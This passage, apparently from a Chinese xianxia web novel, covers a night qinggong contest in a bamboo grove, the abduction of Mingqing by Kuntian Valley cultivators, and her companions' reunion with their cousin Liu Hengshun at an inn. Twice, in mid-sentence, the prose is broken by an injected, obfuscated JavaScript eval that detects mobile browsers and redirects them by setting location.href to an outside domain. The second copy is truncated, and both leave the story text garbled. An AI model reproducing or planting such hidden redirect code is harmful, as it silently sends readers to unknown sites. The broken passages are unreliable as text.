今晚是明青守夜,周围静悄悄的,她抱剑靠在树上,看着燃烧的火堆不知在想些什么,悉悉索索的声音传来,她也不动,只有头微微转动,眼睛向下便看到了云修泽在她身边坐了下来。 他抬头人畜无害的笑起来,拍拍身边的地方邀请她一起坐下。 明青停了一会儿,还是依他的意思坐下了。 云修泽笑着看她动作,又随便拿了个被他们弄来烧火的竹段放在手中把玩,他闭着左眼,将中空的竹节放在右眼上,转头将明青圈了进来。 “我小时候,有很长一段时间都是在竹林里生活的,所以今天睡在这片竹林里,其实还挺放松的。” 明青没去管他的动作,仍然看着前方。 “看出来了,你跟竹子很有缘分。” 他的字是子竹,而刚刚云修泽一个人站在竹林里,不说话,收敛了气息就真的跟个竹子一样,让明青都晃了下神。 “像根竹子。”她接着说道。 “哈哈,我小时候要是听人这么说肯定很高兴。” “为什么?” 云修泽闭着眼睛放松的靠在了树上。 “我的轻功就是在竹林里练的,母亲曾把我扔进竹林里,让我不练的像根竹子就不许出来,那时候要听到这话,可不就高兴坏了。” “那你练了多久?” “几年吧,记不清了。” 明青有些惊讶,转身道。 “那你岂不是好几年都没出竹林?” 云修泽睁开一只眼睛看她,似笑非笑的说。 “心疼了?没事,我不是一个人,我师傅陪着我呢。” 明青瞟他一眼:“油嘴滑舌。” 两人安静了一会儿,云修泽看着天上还算明亮的星星,忽然问道, “那你呢?” 明青看他,云修泽回看过去。 “那你呢?你的轻功是怎么学的?我看你的武功陌生的很,如此厉害,断不应该籍籍无名才是。” “你想试探我的底细?” 云修泽双手做投降状,无奈笑起来。 “天地良心啊姑奶奶,我这就是纯粹的同伴之间友好交流,你心真脏。” 他说到最后,还不忘顺便泼个脏水,明青轻轻哼了一声,也不知信是没信。 “你的身手也很厉害,怎么也名不见经传。” 云修泽无所谓再给她展现点诚意。 “我们家隐世而居,轻易不涉世事。” 他说到这个地步,明青也没再追问他们为何参与镜双子的事了,组织了下语言便说道。 “我家里人不想让我练武,我不愿意,偷偷跑出去,被个高人看中收做了弟子,木已成舟,他们便拿我无可奈何。” 云修泽看她的眼神掺杂了几分惊奇,没想到她还能干出这事儿来,明青被他看的有些别扭,转过身去不再理会他。 火光将他们这一片地方照的很亮,可再远一些的地方,就黑的不见五指。 竹子生长的速度很快,如果仔细听去,甚至能听到它们拔节的声音,云修泽家后山的竹林都是些灵竹,倒是跟这里的普通竹子不一样,但竹林终究是他的主场,他的心神一动,突然提议道。 “之前受场地所限,不好发挥,不若今日你我再比试一番轻功如何?” 他心血来潮的提议,她没什么挣扎的附和。 “可以,叫人起来守夜,我们走远些。” 云修泽一手撑地,利落的站了起来。 “我去叫青玉。” 还没等他走到帐篷边,行愿就先一步掀开帘子走了出来,他提着刀,穿戴却不算整齐,显然是因为过于警惕,被云修泽靠近帐篷的脚步声临时吵醒的。 他先是看了眼唐思月睡觉的地方,见没什么意外,才回过头看向云修泽。 云修泽在心中暗暗惊讶他的警惕,面上却没有显露出来,他和行愿说两人准备去比试一番,本来想叫云修云,可既然他醒了,就麻烦他先行守夜。 行愿点了点头没说话,拿着刀坐到了火堆旁边。 云修泽转身看向几步外站着的明青,微微弯腰,伸手笑着说了一句请,话音没落地,他就已经失去了踪影。 明青并不意外,在他消失的下一瞬间,也迅速提气消失在原地。 云修泽在竹林里奔袭,周围竹子的气息让他感到亲切,他身法飘逸,在竹身借力,竹子也只是轻轻摇晃,没有发出太大的声音,转眼间,就和他们扎营的地方离了好远,但他并没有放松,他知道,他还没有甩开明青。 果不其然,明青很快就跟了上来。 她的轻功可以用‘诡谲’二字来形容,在竹林中,如果说云修泽还算是直线前行,那明青便是围绕着他,在他两侧辗转来回,时高时低,如果不用灵力,肉眼所能捕捉到的,就仅仅是她的残影,两人较劲,可谁也不能快出谁多少去,明青在行进中还不忘扬声控诉他。 “耍赖!” 云修泽嘴角一勾。 “冤枉,君子如竹,我可是先说了请的!” “哼,君子。” 云修泽的余光中瞥见什么动了动,却是一根竹子倒在了他前进的路上,他险险避过,被她气笑了。 “你还说我,现在是谁在耍赖?” 明青的声音远远传来。 “赢向来不择手段。” “这可是你说的。” 云修泽轻声呢喃,下一秒便随手抓了几片落下的竹叶,注入灵力扔飞刀一般扔向了明青所在的地方,明青身形翻动,竹叶紧擦着她的身体钉入了她身后的竹子,两人你来我往,彼此之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950940|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没有留手,势均力敌的感觉和心照不宣的默契让云修泽在比试中感到了难得的酣畅淋漓。 “哈哈哈哈哈哈哈!!!” 他的眼睛在月光下亮亮的,半扎的马尾在空中随着姿势的变化而甩动,面上一派痛快的笑意,竟是难得显现出几分孩子气来。 两人在动作的间隙对视,明明不过一瞬,却像是过了许久,明青的眉梢眼角也沾染了些笑意,她的发丝轻盈,衣袂翻飞,嘴角轻轻勾起,第一次让云修泽真正见到了她笑起来的模样。 她的下巴尖尖的,朱唇不点而红,此刻勾起了弧度,让这个素来冷淡的美人瞬间就鲜活了起来,云修泽向来知道她的美,可这一瞬间还是失了神。 不出他的所料,她笑起来是真的很好看。 明青神情一变,云修泽也骤然回神,才发现刚刚自己忘了维持灵力和身法,身后正巧是一小片坑地,底部布满了被刻意削尖的竹刺,而此刻他正不受控制的向后跌落。 “兹——” 有兵器划过岩石的声音,深流深深的插入了土里,随着主人的下落,留下了一道长长的印记,明青双腿抵着坑壁,一手紧紧抓着深流,一只手抓住了云修泽的手腕。 云修泽其实并不是没有办法脱身,但他还是什么都没做,任由明青抓住了他,两人以一个奇怪的姿势在空中停住,四眼相看,只有明青淡蓝色的额珠在轻轻晃动。 云修泽挑挑眉,她就一个用力拉扯着他,两人一块儿回到了地上,云修泽在坑边站定,丝毫不慌。 “美救英雄?” 明青还没从刚刚活跃的情绪中出来,起了点玩闹的心思,故作高傲道。 “是英雄救美。” 云修泽被她这个样子逗得微微弯腰,哼哧哼哧的笑起来。 明青并不理他,看向他身后的土坑,皱了皱眉。 “哪里来的害人的东西?” 云修泽笑够了,便给她解释。 “恐怕是那边上几户人家里有猎户,做的陷阱吧,在这里讨生活,总归是要动点儿心思的。” 风轻轻吹过,细竹微微摇摆,竹叶摩挲响动,明明是一派和谐安然的氛围,云修泽却一把抽出了褚闲,对着竹林严阵以待,喝道。 “谁!” 明青也迅速靠过来,与他背对着警戒。 有人轻轻念了一句什么,随即云修泽便听到了嗡嗡的声响,两人脚下瞬间展开了一个法阵,头顶也泛起几个光圈,一个接一个的由小变大,落到了地上。 在第一个光圈出现的时候,云修泽便暗道不好,两人第一时间合力向外冲去,却只撞在法阵的边缘,发出一声巨响。 光圈落下的速度很快,每落一层,云修泽便觉得身体沉重一分,直到最后一个光圈融进脚下的法阵,两人就彻底被压在了地上动弹不得。 云修泽咬着牙紧握褚闲,一次又一次的用体内的灵力冲击着法阵,暗处的几个人走了出来,他们穿着朴素,没有蒙面,气质倒显得有些正派。 明青紧紧盯着他们,云修泽被压在地上,实在给不出什么好脸色,狞笑着出声询问。 “几位是何来意啊?何不先谈谈?如此偷袭可不算是君子所为啊。” 他迅速打量过几人,这几人身上法修的特点十分明显,和唐家那伙妖族没什么关系,就是不知道是不是因为凤冠来寻得仇。 为首的人竟真的因为这话动摇了几分,他们互相看了看,还是没有放开他们,但是却减弱了不少压力。 几人围过来想做什么,却不想云修泽和明青一下子冲破了法阵。 法阵控制发生变动的一瞬间会有一个细微的突破口,只要能掌握好时机,就能轻松破阵! 云修泽就是抓住了这个机会,不过没想到明青的想法也与他不谋而合。 云修泽并没有准备真的和他们‘谈谈’,反而带着满身的戾气向几人快速攻去,来人似乎并没有很意外,很快便做出了反应,有一个甚至剑未出鞘便挡住了云修泽的攻击。 明青在暗处游走,由云修泽主攻,他们打着打着,云修泽却突然觉得有些不对劲,这几人互相打配合,并没有什么杀意,反倒是一心想将他困在这片地方似的,他矮身躲避攻击,眼睛在凌乱的剑影中粗略一扫,大概只有六个人,可刚刚被困在阵中时,他明明看到了七个! 不好! “明青小心!” “什么!” 明青察觉不对,还未能转头,便被人狠击了一下后颈,眼前一黑,瞬间晕了过去。 将她敲晕的男子手急眼快,一把将她扛起来,他一击得手,围困云修泽的六人便毫不恋战,立马准备远遁。 褚闲剑身如电,快速划过几人,紧紧抵在了其中一人的脖颈上,他收紧几分,鲜血便流了出来,他阴沉的盯着几人,低声威胁。 “把她、还给我。” 被他抵住命脉的人轻轻一笑,一串咒语快速吐了出来。 云修泽双眼睁大,感觉一切都变成了慢动作,他本能的察觉到了危险,想要逃离,却根本来不及动作,一个和刚才一般无二的阵法转瞬间就在他的脚下成形,身前的人几步就轻松越了出去,可他却像刚才一样猝不及防的被拍在了地上无法动弹。 那人意味不明的笑了笑,招了招手,几人便带着晕厥的明青几个起落消失在云修泽的眼中。 他趴在地上双眼赤红,整个人用力到身体微微发抖,可他没能像刚才一样破阵,只能眼睁睁的看着明青在他眼前被带走。 靠!这几个混蛋到底布了几个法阵啊!!! 周围的竹子因为他们刚才打斗倒了不少根,发出的声响不小,留在营地的云修云三人紧紧赶了过来,却还是来迟一步。 等他们到了,就看见云修泽被法阵压在地上,不断的在冲阵,行愿将唐思月放下,几个跨步到他身边念了句什么,阵法才失去了光芒。 他上前扶着云修泽站起来,唐思月赶来为他把脉,云修云看他身体摇晃,发丝凌乱,表情也很难看,而本来应该和他在一起的明青也失去了踪影,不由得有些着急。 “来人是谁?明青姐呢?” 唐思月给他一颗药丸让他吃下,在他身上点了几下,用力一拍,云修泽便吐出一口淤血,他抹去了嘴边的鲜血,面有愠色。 “刚刚七个法修偷袭,掳走了明青,我认得他们的路数,我们改路。” 他剧烈的咳嗽起来,弯腰捂着腹部的伤口,头却抬着,看向了刚刚他们离去的方向,他带着狠意,一字一顿。 “清、秋、道!!!” 14. 孚望十四 清秋道与计都、衢州毗邻,四人连夜赶路,倒也没费得几日光景,自第一夜云修泽逞强,纵马疾驰又叫伤势加重之后,唐思月便不再惯着他,强势的让行愿将云修泽按进了马车中。 此时马车,云修泽刚刚调息完毕,睁眼就看见唐思月正挑帘向外看去,他动了动伤处,问道。 “到哪儿了?” 唐思月放下帘子过来给他把脉。 “已经到清秋道了,只是这里的地域之广比起衢州也不遑多让,你应该是知道我们具体该去何处找吧?” 云修泽一动不动任她摆弄,闻言露出了一丝微笑。 “思月灵慧,当日来人阵法使的不错,至于身手,若是认真打起来我亦有不敌,这般厉害、配合默契的人物,再加上他们所练的功法,恐怕只有清秋道了,清秋道地位超然,天下十成修法者,八成出于清秋道,我们此行的目的,就是各个门派中,最负盛名的那一个。” 唐思月从小匣子中取了些瓶瓶罐罐,倒出一些药粉,将它们按量混合在一起,加了些不知是什么的绿色汁液做成了一颗药丸送到云修泽手上,心下也有了几分了然。 “昆天谷。” “正是了。” 云修泽看着手中这墨绿色的药丸,想起那天塞进嘴里的药丸的恐怖味道,不由打了个寒颤,试探着和唐思月商量。 “思月呀,你看我好的差不多了,这药是不是......” “不可以。”唐思月的笑带着威胁的意思,语气温和的骂他。 “现在知道药不好吃了?不怕经脉逆行,一遍遍用灵力强行冲阵的时候想什么呢?明青既然已经被掳走,你乖乖的趴着就是,就算我们不来,那阵过个半个时辰也就自然失效了,你就是吃定了我在,不会眼睁睁的看着你受到如此损伤,再有下次你试试呢,我会闭上眼睛的!让你受了伤自己上一边儿哭去!” 她说话全程不紧不慢,没有太恼怒的语气,却骂的云修泽丝毫不敢还嘴,只能连连讨饶,为证决心,一脸菜色的将药丸吞了进去,见他皱着脸,唐思月最终还是没好气儿的给了他一盘蜜饯,将他打发了出去。 云修泽端着蜜饯,坐到了行愿身边,云修云骑着追云,踏风就在旁边自己跟着跑,四人没在别处多做停留,一路向着昆天谷的地界奔去。 到了昆天谷附近,它的与众不同就显现出来了,街上行走的多是带着兵器的法修,几乎看不到平常百姓,而买卖交易的也多是些修炼才会用的东西,因切磋打斗之事常常发生,甚至还专门为此设了四个台子专供约架所用,灵气充沛,也实在是修炼的好去处。 云修泽坐在马车前,侧头对着帘后的唐思月叮嘱。 “思月,你和行大哥先带着马儿和马车去找落脚的客栈,最好找大一些的,人多口杂,你安顿好了也方便打听消息,我和青玉去别处探查,晚膳时,我们会去找你们。” “好,你们多加小心。” “知道了,你们也是。” 这里的多数人都带着兵器,因此他们带着剑倒也不像在别的地方一样那么显眼,很快便没了踪影。 长期生活在这里的法修,身上总是有一种单纯的气质,这种单纯不是说他们的性格,而是他们一直以来都以修炼为最重的目标,很少会在乎其他的身外之事,因此这里也最常出现武痴。 兄弟二人走在街上,云修云总觉得有些不对劲,拿手肘怼了怼他哥。 “诶!大哥,你觉没觉得这里好多人都像是从外面来的?有不少都穿的金尊玉贵的,像是生怕别人不知道他有钱似的。” 云修泽神色不动,他也注意到了。 “恐怕是有什么事情,我们直接去这里的通神阁吧,虽说有些事情慢慢打听也能打听出来,但在通神阁买消息终归还是快些,也保真。” 两人在这附近转了一圈儿,将周围都大抵看了一下才乔装进了通神阁。 通神阁是天下第一的商会,他们的分号广泛分布于各地,而总商会则在计都。这里买卖消息、胭脂水粉、药物灵草等各种东西,可以说,除了人和饭菜,只要合乎律法,这里就没有不卖的。 兄弟二人站在十分气派的通神阁门前,看着这里迎来送往,守门的小厮都面带笑容,牌匾高高悬挂,字体苍劲有力,上书‘通神阁’,可云修云的注意力却被两侧的对联吸引了,这两句话写的不可谓不狂妄。 ‘有钱能使鬼推磨,若要通神入我阁!’ 云修泽将其看过,意味不明的轻笑一声。 通神阁有多出名,这两句话就有多出名,十几年前,通神阁刚刚成立的时候,这句话就摆在了门口,当时人们嘲笑通神阁的主人自不量力,可没成想竟真的让他办了起来。 两人进了通神阁,立马就有女使笑意盈盈的迎了过来。 “贵客安好,不知今日两位贵客来到我们通神阁是想看看什么东西?小女子可为两位安排。” 云修云不着痕迹的打量着这里,云修泽压低了声音。 “来问些消息。” 那女使面上并无异色,一般不愿露面的人来到这里,通常都是为了买卖消息,她说了一句请后,就将两人领到了第三层,这里中间的一整面墙上都是挂牌,上面写着各种信息,有的人会从中挑选自己需要的进行交换,四周都是一个一个密闭的房间,女使步伐轻巧,将两人引入到了其中一间后,就恭身退下。 房中有一套桌椅,一个长相平凡,有着眯眯眼的男人坐在桌子后面,见两人进来就起手为两人倒了两杯茶送到他们面前。 “请坐,不知两位想要的是什么消息?” 云修泽捏着眼前的茶杯轻轻转了一下,却没送入口中,忽然问道。 “这位管事不做遮掩,在这里买卖消息,不怕有人找麻烦吗?” 那管事笑起来。 “客官多虑了,我这里买卖的都是些普通消息,您若想知道什么更隐蔽的,进到第四层,接待您的自然不会是我现在这个样子,更何况我是通神阁中人,想找麻烦,恐怕还要掂量掂量。” 如此,云修泽不再多说,开口问道。 “街上来往者不少是从外地来的,近日这里可是有什么事情发生?” 管事笑容不变:“五金。” 这便是消息的价格了,如此便宜,恐怕并不是什么难知道的事情。 云修泽将钱推过去,那管事伸手一拂便将钱收了起来。 “两天后,昆天谷谷主五十大寿,大办七天,前四天对客开放,持有名贴便可入内,往来恭贺之人总是少不了的。” 原来如此,云修泽暗道,这是个大事,不怪乎那么多人聚集在这里。 “通神阁可知明青此人踪迹?女修,貌美,年二十,灵剑名为深流。” 那管事神情微微一动。 “阁中并无此人消息,若您想要追查,可将此人画像交于我们,付五十定金。” “你们能确保查到?” 管事倒也实诚,摇了摇头道。 “天下奇人何其之多,我不敢给您这个保证,但我可以给您的是,如果我们查不到,那就没有其他的组织可以查到。” 云修泽没有应下,反而拿出一张画像来交给管事,画像中的男子一双狐狸眼,头发整齐束起,他画的是那日掳走明青之人的头领,他的画工虽算不上好,但是抓个形却是足够。 “此人你可识的?” 管事打量了一会儿,抬头笑眯眯的说:“八十金。” 等云修泽将钱付了,他就爽快道。 “此人是昆天谷内门弟子,许知夏,剑名万松,善阵法,实力很是不俗。” “昆天谷...果不其然。” 他们抓明青干什么?正值谷主大寿,可是与此有关? 各种心思在云修泽心中划过,还没等想出个所以然,就听那管事继续道。 “不知两位可还想再知道点儿什么?” 云修泽带着云修云起身,道。 “不用了,这些就够了。” 管事也跟着站了起来冲两人浅浅躬身行了个礼。 “两位慢走不送。” 以防万一,两人出了通神阁还是绕了不少路才解了装束,等他们找到客栈中的唐思月和行愿时,正值黄昏过半。 这个客栈的名字说来也巧,名为云来,寓意客如云来,不知是不是唐思月促狭,选了这么一家客栈。 不过这也的确是最大的一家了,一楼厅堂是饮茶听书的,二楼用饭,三楼往上就是给住店的客人准备的。 唐思月和行愿正坐在一楼靠窗的位置。 兄弟二人没有马上上前,云修云倒是很不高兴的想往前去,被云修泽一把拉了回来,他们就在一个不起眼但是能看到唐思月他们的地方坐下,云修云被他强制按在凳子上,眉头都皱起来了,不解道。 “哥你干嘛,没看见思月正在被骚扰吗?” 骚扰其实说不上,没人会在昆天谷附近干这种蠢事。 唐思月两人坐的比较显眼,如此一来,尽管蒙着面,思月的出众还是吸引了不少人的视线,云修泽两人旁边的一桌人,就正看着唐思月的方向小声说着什么,云修泽要了一碟儿点心和一些瓜子,装作随意唠嗑的模样,给旁边的人抓了一把。 “诶老哥,你们聊什么呢?怎么感觉这里气氛怪怪的?” 那人也没多想,随手嗑了起来,脸上有些得色,抬起下巴指了指唐思月那边。 “看见没?那边那姑娘,绝色佳人啊!都这个时辰了,平时哪有那么多人在一楼喝茶,今天坐满了,可不就是冲着她来的。” 这里的确人满为患,很大一部分时不时的会看向唐思月,都很安静,像是不敢唐突佳人,只能听见小声的交谈,连干着活的小二都红着脸不住偷看。 “这不都蒙着面了,怎么就如此肯定是绝色佳人了?” 那人一副这你就不懂了的表情。 “你们这种毛头小子还是太年轻,莫说体会那半遮不遮的美,这姑娘气质温婉,身姿上佳,便是露出来的眉眼都可以说是板上钉钉的美人,遮住的也绝不会差!” 云修云不耐烦听个陌生人在这里对唐思月的姿色评头论足,本想打断他,却被云修泽在下面踩了一脚威胁他不许捣乱,他的表情扭曲了一下,天知道云修泽用了多大的力气,不敢说话就只能悲愤的扭过头去以示抗争。 云修泽也没管他,装作了然道。 “哦~原来是这样啊,您认识现在正和这姑娘说话的人吗?” 那人啧啧摇头。 “那是向家的小少爷,平日里吃喝玩乐,最爱美人,修为不怎么样,但人家家大势大,家中不如他的,倒真不能拿他怎么样。” 云修泽的表情淡了下去,人对于美向来是想占为己有的,美人不少见,平常对待其他姑娘,恐怕没有今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他没太将他放入眼中,紧盯着唐思月,只觉得着魔了一般,什么都愿意应承她。 “好!姑娘稍待,我带他去外面,姑娘可莫要怪我手下不留情,弄伤你这护卫。” 唐思月笑眼相看,没有说话,一旁的行愿提着刀站起来,很是熟练的跟他到外面去了。 云修泽身边的人嗑完了一把瓜子,说道:“啧啧,又一个。” 云修泽立马将话接上了:“怎么说?” 那人就是在看乐子。 “你当这个是第一个上前搭讪的呢?前几个都是这样被打发走的,那护卫瞧着没什么动静,可实际却是个厉害人物,这会子竟没有一个能在他手底下撑过半柱香的,哝,这不就又回来了。” 向少爷更好打发些,不过几句话的功夫,行愿就提着刀原模原样的回来了,那向少爷不知是守信,还是怕丢人,竟真的没有再进来。 人也打发完了,云修云拍拍手上的残渣,正准备上前,一个猛子又被他哥薅了回来,旁边那人乐了,摇头道。 “第七个。” 行愿刚刚坐下,又有一个风流公子上前,这个倒是有些不同,看他的脚步就知道这不是个草包,手中握着一把折扇轻轻摇晃,到了唐思月面前啪的一收,十分有礼的问。 “这位姑娘,不知在下可有荣幸与姑娘同坐?” 唐思月看了他一会儿,竟真的邀请他坐下,这是之前的人都没有的待遇。 云修云面色不虞:“哥,你干嘛在这里问这些有的没的?” 云修泽闭上眼,一只手撑着桌子,手放在眼睛旁边揉了揉。 “你也不想想,思月平日里都是挑不起眼的地方坐,最大程度的不引人注意,今日这样,其一是因为她想探听的恐怕已经探听到了,为了让我们能最快知道她的所在才坐的那么显眼,其二也有可能是有什么别的目的,特意如此,我们先观望观望再说。” 就算他这么说,云修云的心情也还是不大好,毕竟没人能看着心爱的姑娘被这样打扰还无动于衷。 唐思月不知和那人说了什么,两人倒像是相谈甚欢,竟真的起身要向楼上去。 云修云瞪大了双眼,唐思月在楼梯口隐晦的和二人对上了视线,轻轻一笑,就随那公子上了楼。 楼下的人登时哗然,云修泽不知怎么了,也低低笑了两声,样子显得十分愉快,一口将手中的茶饮尽了,站起身,道。 “走,我们跟上去。” 云修云的心情复杂,总归开心不起来,闷头跟着他上去,两人招来一个小二,云修泽直接就问。 “我姓云,唐小姐的包房是哪间?” 云修云原本以为小二不会搭理他们,可没想他倒十分热情。 “云公子是吧?唐小姐刚刚叮嘱过我们,二位请跟我来。” 云修云一头雾水,他知道自己什么都不爱多想,说好听了是心思单纯,说不好听就是愚钝,可这一来一回,唐思月和他大哥好像就在那一眼中完成了一些交流,他却什么都不知道,难免感到失落。 本来走在他前面的云修泽十分了解他这个弟弟,回头一把将他揽住,兄弟二人亲亲热热的挨在一起,于是云修云又觉得没什么了。 两人一路跟着小二来到了一个包厢前,推开门,唐思月正坐在那里说着什么,行愿站在她身后,那风流公子就背靠着窗户,看着唐思月,仍然摇着那把折扇,见他们进来,就抬头看来,露出了惊讶的神色。 他的双眼是典型的桃花眼,眼角有痣,二十三四岁的样子,是个笑面郎君。 几人面面相觑,他的笑容最先加深,扇子又被他啪的一声收了起来,他拿着那把扇子对着云修泽点了两下,做足了风流公子的姿态,朗声笑道。 “云—子—竹!” 15. 孚望十五 他这么一叫,除了云修泽本人,剩下几个都面露惊色,倒是云修云,短暂的惊讶过后,打量着眼前的男子迟疑的开口。 “......伯言哥?” 那男子绕过桌椅两三步走上前来,闻言拿着扇子‘铛铛’就是给他的头来了两下,语气悲痛万分。 “好青玉,几年都没来看我,现在竟连你伯言哥这个人都忘了?唉!真是世事无常,人心难测呀!” 这词哪里是这般用的,云修云暗自腹诽。 那折扇看着轻巧,实则是用一种外形似玉的薄铁制成的,窄窄的扇骨间,恐怕还有别的机关巧思,就连扇面也只是看着脆弱罢了,整把扇子实则是一个杀人利器,重量哪里轻的了。 云修云见面就被他锤了两下,虽然委屈,可他没能将人认出在先,此时见了故人,又不免有些高兴,揉了两下被敲的地方,还是一派亲热的凑上前去抱了一下。 “柳伯言你要脸不要?明明当时是你自己听说你爹弄了点儿新鲜玩意儿回家,话都没与我们多说几句就跑回家去了,结果呢?” 云修泽绕过挨挨蹭蹭的两人,坐到唐思月面前给自己倒了杯茶,摇头笑骂。 “结果还不是被你爹骗到了,为了让你这个脱缰野马自觉回家,柳伯父真是煞费苦心,将你关在家中修炼,磨练性子,一关就是好多年,谁都不许见,好大的脸来怪我们没去看你!” 被他叫做柳伯言的男子笑嘻嘻的凑过来,毫不见外的拿起云修泽刚刚给自己倒的茶喝了一口。 “瞧你说的这叫什么话?你姑姑是我娘,你若真的有心来看我,哪有进不来的?” 他不提还好,他一提,云修泽的脸唰一下就垮了下去。 “你还好意思说,你干什么坏事都非拉我一份,我姑姑那么温柔一个人,被你气的,拿着绒鞭满院子追我们打,要不是托你的福,我恐怕这辈子都享受不到这个待遇。” “哈哈哈哈哈哈哈哈哈,多好!!!” 云修云也已经坐了下来,正小声的和唐思月说些什么,柳伯言看着他们眼神动了动,还没等他说什么,一旁的云修泽轻咳了两声,将众人的视线吸引到他身上,他对着唐思月介绍说道。 “思月,这是我们的表兄弟,姓柳,名恒舜,字伯言,平日里最是浪荡不羁,没个正形,但却是个可以信任的,如果他刚刚有所唐突,还望你原宥一二。” 他又为唐思月介绍道。 “这位是医毒世家,唐家的嫡小姐,唐思月,背后是她的护卫行愿大哥,现下正与我们同行。” 行愿在她身后抱了抱拳,唐思月站起来轻轻向他伏身。 “思月见过柳公子。” 向来最烦世家礼仪的柳恒舜也面色恭谨,规规矩矩的向她还了个礼。 “唐姑娘,刚才不知真身,言语多有轻浮,还望姑娘原谅。” 唐思月轻声示意无碍,两人来回客气了一番。 云修泽还是第一次见自己这位表兄如此像个正人君子,也不插话,只管双手抱胸,坐在一旁看乐子,云修云看着这一个两个全是大爷,无奈的摸摸肚子,务实的出去传饭了。 等菜上齐,唐思月就将面纱摘了下来,云修泽几人倒是很习以为常,可柳恒舜是第一次见她真容,他呆愣了一会儿,不知从哪儿又将刚刚收起来的折扇掏了出来,出神的摇晃了几下,口中轻轻呢喃道。 “...百媚...坐中生......”【注1】 他的眼中并无亵渎之意,唐思月也就垂目一笑,并未多言。 见他这副摸样,云修泽面上不动声色,可心中却暗暗想道,伯言是实打实风流蕴藉的人物,百花丛中过,何等美人未曾见过,看似多情罢了,他之前演与明青的浪荡子就是在学他这表兄,可如今他这表现,可与平日有所不同。 想到这儿,他感到有些头疼,偷偷去看云修云的反应,让他惊讶的是,云修云并没有出现预想中蔫头耷脑的样子,反而正襟危坐,神色认真,他之前特地要了一壶酒,现在正为柳恒舜斟满一杯,给云修泽和自己也添了一杯后,就拿起酒盅向他敬酒。 “伯言哥,你我兄弟三人多年未见,如今却是机缘巧合的碰上了,如此缘分,当满饮此杯才是。” 柳恒舜的思绪被他拉了回来,云修云在他的印象中还是那个跟在他们两个身后跑,被舅母打扮成女孩子的小人儿,如今虽未及冠,但少年灵动,有模有样的向他敬酒,一时间,欣慰之情倒是占据了上风,他爽快的拿起酒杯,与两兄弟共饮。 “哈哈哈!如青玉所言,正该如此!” 云修泽一杯饮尽,没有再多说旁的,直言问道。 “你怎么在这里?姑父舍得放你出来了?” “唉!” 柳恒舜又给自己倒了一杯。 “这不是昆天谷谷主大寿吗!我家祖父年轻时与他有旧,父亲又有琐事缠身,无法远行,这才交代我带着族中子弟前来贺寿,托他老人家的福,我才能出来透透风,不然谁知老头子打算把我困在那一亩三分地到什么时候!” 他摇着头,颇为苦恼的样子,他生的好,做出这幅姿态,一般女子见了都忍不住为他心忧,可这一桌子哪个不是姿容上佳,倒是媚眼抛给瞎子看。 “竟是来贺寿的......” 瞌睡了送枕头,巧无再巧,云修泽捏着杯沿,让酒杯在桌子上轻轻转动,看向唐思月问道。 “你刚刚坐的那么显眼可是为了这个?” 唐思月正夹菜,闻言不紧不慢的点点头。 “昆天谷不比百宝坊,不是那么轻易能混进去的,名正言顺的跟着贺寿的宾客进去才是上策,他们发出的名帖都是含有主人家灵力的,取而代之的风险性极高,若说偷偷进去,更是想都不要想,我坐在那里等你们,正好钓鱼了,柳公子很合适,只是没想到你们认识。” 云修泽取笑的看向柳恒舜。 “愿者上钩的钓法,来的可不正是条自投罗网的大鱼。” 柳恒舜何其了解云修泽,听到这里哪还有不明白的,当即一个闪身就要夺门而去,却不想行愿已经悄无声息的将门封上! 此路不通,尚有窗户可行,他试图翻身逃走,打眼一看,云修泽早就抱剑守在窗前笑眯眯的等着他了。 柳恒舜知道逃也逃不掉了,只能站在原地,无奈的叹了好长一口气,怒骂道。 “云子竹你个无赖!!!你想干什么?怎么现在胆子如此之大,竟要混进昆天谷?这就算了,你竟然还想拖我下水!!!” 云修泽完美预判,正是一脸得意,他揽过柳恒舜的肩,推着他将他重新按回了座位上,一脸惊讶的问他。 “兄长何出此言啊?你我兄弟如何还说这些生分的话!互帮互助不是长辈们从小就教导我们的吗!” 柳恒舜:(?_?) “噗。” 唐思月被他们逗笑了,她一只手放在嘴边,眉眼舒展,头上的珠钗也随着她细微的抖动发出铃铃的轻响,有一缕长发从她的肩后滑到身前。 “柳公子,真是对不住,原也是想请你帮这个忙的,你既不愿,我们还可以再商量商量。” 几人被她吸引了视线,柳恒舜无言的看了她一会儿,突然泄了力趴在桌子上,闷声投降。 “看在唐姑娘的份上。” 他为美人妥协,云修泽毫不意外,他暗暗给了唐思月一个‘干的好’的眼神儿,唐思月微微一笑成功接收。 旁边的云修云这会子压根儿没管他们,不动如山的坐在那里吃他的菜,见柳恒舜这样,也忍不住嘲笑起来。 柳恒舜深吸一口气,恹恹的坐起身来。 “说说吧,几位祖宗,非得混进去的理由总得告诉我吧?” 云修泽又倒了杯酒饮下,表情淡了下去。 “我们本是五人同行,几天前,有昆天谷的人掳走了我们一个同伴。” 柳恒舜揉了揉额角,颇有些头疼,问道。 “是可托生死的好友?” 云修泽顿了一下,将酒杯送至唇边,模糊不清的说。 “不算。” 柳恒舜眉头微微一跳,这倒是有些出乎他的意料,他这表弟,看着重情,实则很多时候都是冷眼旁观的那个,最是懂得明哲保身,如今为了一个没有被他圈入中心领地的同伴,竟想要冒这么大的险,不由得来了些兴趣。 “哦?这可不像你啊,莫非那位同伴......”他又支棱了起来,表情促狭“是位姑娘?” 云修泽捏着酒杯,转头看向窗户,默不作声,倒是旁边的云修云不住的点头,这下哪里还有不明白的呢,柳恒舜又展开扇子得意的摇起来。 “哈哈哈哈!你小子!竟也有为情所困的一天!” 见他说话越来越没谱了,云修泽低声骂道。 “胡说些什么!她在我眼前被抓走,我自然不能放任不管!” 柳恒舜一脸看透他的表情。 “得了吧,我还不知道你,人家既然将她抓走,也没伤你性命,那多半也是不会伤害她的,何须你在这里火急火燎的。” 云修泽虎着一张脸。 “你就说这个忙你帮不帮吧?” 